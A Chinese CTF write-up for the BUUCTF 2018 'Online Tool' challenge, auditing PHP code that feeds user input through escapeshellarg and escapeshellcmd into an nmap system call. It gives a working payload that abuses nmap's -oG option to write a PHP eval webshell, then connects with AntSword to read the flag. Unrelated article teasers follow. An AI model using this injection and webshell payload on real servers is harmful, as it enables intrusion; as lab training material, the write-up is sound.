命令执行 [BUUCTF 2018]Online Tool1

打开题目

 我们代码审计一下

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

如果存在xxf头且不为空,则将xxf头内容(真实的客户端ip)赋给ROMOTE_ADDR(代理服务器传过来的ip地址)

这段代码主要是为了处理通过代理服务器访问网站时获取正确的客户端IP地址

这里需要注意的地方:

1.没有对XXF的值进行过滤,可能存在XXF注入攻击

2.XXF头部可以被客户端伪造

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);

如果get姿势传入的host为空,则会使用highlight_file(__FILE__)函数来将当前文件的源代码高亮显示输出。

else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

如果get姿势传入的host值不为空,则用escapeshellarg函数处理get传入的host值,再交由escapeshellcmd函数处理

将字符串glzjin和ROMOTE_ADDR连接以后进行md5加密然后赋值给沙盒,并输出you are in shadbox和md5加密拼接后的内容

@mkdir 函数创建以MD5散列值为名称的目录。@ 符号用于抑制可能的错误消息。

使用 chdir 函数将当前工作目录更改为新创建的沙盒目录。

使用 system 函数执行 nmap 命令扫描host值,-T5设置扫描速度,-sT设置tcp连接扫描,-Pn设置绕过ping扫描,--host-timeout 2: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时。-F: 这是指定使用快速扫描模式的参数,-F 表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗

函数escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

函数escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

所以总结思路

  1. HTTP_X_FORWARDED_FOR的会获取真实的客户端ip值会和glzjin一起md5加密作为我们后续上传webshell的路径
  2. GET传入host参数通过此传参点来利用nmap上传文件(-oG)

127.0.0.1 ' -oG 经过escapeshellarg处理变成   ' 127.0.0.1 ' \ '    ' -oG '  (分成两部分)

'127.0.0.1 ' \ '    ' -oG ' 经过escapeshellcmd处理变成   '127.0.0.1 ' \\ '  '-oG \ '  (将不成对的单引号及任意\进行添加\的操作)

所以我们的payload应该为

/?host=' <?= @eval($_POST["hack"]);?> -oG hack.php '

通过host传入后还返回了这个sandbox的值

我们蚁剑连接一下

蚁剑连接的目录为

sandbox+一句话木马名

在sandbox上也能发现我们几次测试传上去的木马

在根目录下找到了flag

知识点:
REMOTE_ADDR

表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP

x_forwarded_for

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP

mkdir

表示如果当前路径下不存在该目录(文件夹),则新建该目录(文件夹)。

语法结构:$ mkdir [选项] [目录]

如:mkdir test       //在当前路径下新建一个test文件夹

chdir()

chdir函数用于改变当前工作目录

nmap命令

nmap -T1~6 192.168.96.4  //设置扫描速度,一般T4足够。

nmap -sT 192.168.96.4  //TCP连接扫描,不安全,慢

nmap -Pn 192.168.96.4  //目标机禁用ping,绕过ping扫描

--host-timeout 2: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时

-F: 这是指定使用快速扫描模式的参数,-F 表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗

-oG 选项用于生成可读性强的、以普通格式表示的输出。

使用 -oG 选项时,可以将扫描结果保存到一个文本文件中,然后使用其他工具或脚本对该文件进行进一步的分析。这个选项的输出包含有关主机、端口和服务的信息,以及它们的状态(开放、关闭、过滤等)

例如;   nmap -oG output.txt target  //将扫描名为 "target" 的目标,并将结果保存到名为 "output.txt" 的文件中

知识点源于:https://www.cnblogs.com/luxiaojun/p/10451860.html

Nmap常用命令总结_nmap 命令-CSDN博客

[BUUCTF 2018]Online Tool1-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/249127.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

11.jvm第三方工具使用实践

目录 概述GCEasy官网jvm内存占用情况关键性能指标堆内存与元空间优化 MAT安装MAT相关概念说明内存泄漏与内存溢出shallow heap及retained heapoutgoing references与incoming referencesDominator Tree GCViewerArthas下载安装与启动jdk8jdk 11jdk11自定义boot jarjdk17 常用命…

PHPRunner 10.91 Crack

PHPRunner是一款非常好用的网页制作工具&#xff0c;界面简洁美观&#xff0c;支持处理多个数据库连接并添加设计页面&#xff0c;页面中可以显示不同的不相关对象&#xff0c;如网格&#xff0c;单个记录&#xff0c;图表&#xff0c;报告等。PHPRunner支持多个操作系统&#…

OxLint 发布了,Eslint 何去何从?

由于最近的rust在前端领域的崛起&#xff0c;基于rust的前端生态链遭到rust底层重构&#xff0c;最近又爆出OxLint&#xff0c;是一款基于Rust的linter工具Oxlint在国外前端圈引起热烈讨论&#xff0c;很多大佬给出了高度评价&#xff1b;你或许不知道OxLint&#xff0c;相比ES…

【笔试强化】Day 3

一、单选 1. 正确答案&#xff1a;C子类继承父类&#xff0c;但是 name 被 private 修饰&#xff0c;不能访问 2. 正确答案&#xff1a;D父类构造了对象&#xff0c;但是子类没有使用 super调用&#xff0c;会报错 3. 正确答案&#xff1a;B构造方法可以重载 4. 正确答案&a…

【STM32独立看门狗(IWDG) 】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、看门狗是什么&#xff1f;1.简介2. 主要功能3.独立看门狗如何工作4.寄存器写保护5.看门狗 看门时间 二、使用步骤1.开启时钟2.初始化看门狗3.开启看门狗4.喂…

面试官:你对SPA单页面的理解,它的优缺点分别是什么?如何实现SPA应用呢

一、什么是SPA SPA&#xff08;single-page application&#xff09;&#xff0c;翻译过来就是单页应用SPA是一种网络应用程序或网站的模型&#xff0c;它通过动态重写当前页面来与用户交互&#xff0c;这种方法避免了页面之间切换打断用户体验在单页应用中&#xff0c;所有必要…

mac 反编译apk记录

Mac/Linux 去release页下载&#xff0c;有中国下载地址能下载快些。 //也可以直接下载源码&#xff0c;中国下载慢&#xff0c;不推荐。 //git clone --depth1 https://github.com/tp7309/TTDeDroid.git ~/Documents/TTDeDroid//给脚本执行权限 chmod ax ~/Documents/TTDeDro…

AnythingLLM:基于RAG方案构专属私有知识库(开源|高效|可定制)

一、前言 继OpenAI和Google的产品发布会之后&#xff0c;大模型的能力进化速度之快令人惊叹&#xff0c;然而&#xff0c;对于很多个人和企业而言&#xff0c;为了数据安全不得不考虑私有化部署方案&#xff0c;从GPT-4发布以来&#xff0c;国内外的大模型就拉开了很明显的差距…

函数图形渐近线分析

文章目录 曲线的渐近线水平和垂直渐近线斜渐近线斜渐近线公式推导简便方法确定斜渐近线(一次多项式化方法) 例 曲线的渐近线 渐近线综合了极限和函数图形的知识,尤其是斜渐近线 水平和垂直渐近线 若点 M M M沿曲线 y f ( x ) yf(x) yf(x)无限远离原点时,它于某条直线 L L L之…

vue中使用ailwind css

官网地址&#xff1a; 安装 - Tailwind CSS 中文网 推荐一个网站&#xff0c;里面可以查询所有的TailWindCSS的class样式&#xff1a; Tailwind CSS Cheat Sheet npm安装&#xff1a; 注意&#xff1a;1、这里要用npm&#xff0c;不要用cnpm。2、最好用install&#xff0c;不要…

目标检测图片截取目标分类图片

如果要训练一个分类模型却没有特定的分类数据集怎么办呢&#xff1f;可以换一种思路&#xff0c;将带有该目标的图片对所有想要的目标进行画标注框然后进行截图&#xff0c;就能得到特定的分类数据了。这么做的目的是&#xff1a;带有该目标的图片可能不会少&#xff0c;但是带…

Vue前端与后端放在一起的搭建方式

1.首先把后端项目搭建好 去到项目的存放位置 2.然后cmd黑窗口输入命令创建vue项目 3.创建成功后回到后端项目进行合并 3.1在File处选择Project Structure 3.2选择模块 3.3找到自己的vue项目 3.4疯狂next最后create 3.5选择Apply并确定OK&#xff0c;恭喜您创建成功了 二、启动…

Windows bat隐藏运行窗口的几种方案

文章目录 一、背景 二、测试数据 三、隐藏bat运行窗口方案 1. 使用VBScript脚本 2. 使用mshta调用js或vbs脚本 3. 将bat编译为exe程序 4. 使用任务计划程序 一、背景 有些程序在执行批处理脚本时&#xff0c;可能会看到dos窗口&#xff0c;或者看到窗口一闪而过。如果批处理脚本…

Jwt令牌过滤器的下发和拦截(创建在前面)

创建Jwt令牌的方法在前面&#xff1a; JWT令牌的作用和生成https://blog.csdn.net/m0_71149935/article/details/135002840?spm1001.2014.3001.5501令牌的下发&#xff1a; 说明&#xff1a; 只用在浏览器访问服务器的时候校验账户信息是否正确&#xff0c;正确就创建Jwt令…

docker学习(九、分布式存储亿级数据知识)

docker学习&#xff08;九、分布式存储亿级数据知识&#xff09; 一、哈希取余分区二、一致性哈希算法分区三、哈希槽分区&#xff08;重点&#xff09; 内容整体是以Redis做分布式为例的~~~先出理论&#xff0c;后出实践docker操作 一、哈希取余分区 举个例子&#xff1a;目前…

航带模式拍完之后用重建大师跑出来的模型是弧形的,怎么处理?

答&#xff1a;空三设置-更多设置-定位方式中选择pos高精度&#xff0c;再跑一下看看。 重建大师是一款专为超大规模实景三维数据生产而设计的集群并行处理软件&#xff0c;输入倾斜照片&#xff0c;激光点云&#xff0c;POS信息及像控点&#xff0c;输出高精度彩色网格模型&a…

小区生活污水处理需要哪些设备和工艺

在小区生活中&#xff0c;污水处理是一个非常重要的环节&#xff0c;它关乎到环境的保护和居民的生活质量。因此&#xff0c;了解小区生活污水处理所需要的设备和工艺是至关重要的。 首先&#xff0c;在小区生活污水处理中&#xff0c;需要用到的设备包括污水收集系统、初级沉淀…

【1】自动化测试环境配置(ARM服务器)

想要从事 or 了解自动化测试开发、装备开发的小伙伴&#xff0c;本专栏内容将从0到1学习如何针对ARM服务器产品进行自动化测试平台的搭建&#xff0c;包括&#xff1a;测试界面的实现&#xff08;GUI&#xff09;、测试项的功能实现&#xff08;压力测试、接口测试、版本更新&a…

工资计算_分支结构 C语言xdoj63

问题描述 小明的公司每个月给小明发工资&#xff0c;而小明拿到的工资为交完个人所得税之后的工资。假设他一个月的税前工资为S元&#xff0c;则他应交的个人所得税按如下公式计算&#xff1a; 1&#xff09; 个人所得税起征点为3500元&#xff0c;若S不超过3500&#xff0c;则…

腾讯文档助力CRM集成:无代码连接电商与广告

腾讯文档API的简介与优势 腾讯文档API是一个强大的工具&#xff0c;它允许企业通过简单的无代码开发来实现与电商平台和客服系统的智能连接。这种连接不仅提高了工作效率&#xff0c;还优化了数据管理。使用腾讯文档智能表&#xff0c;商家可以享受多样的列类型、多维视图展示…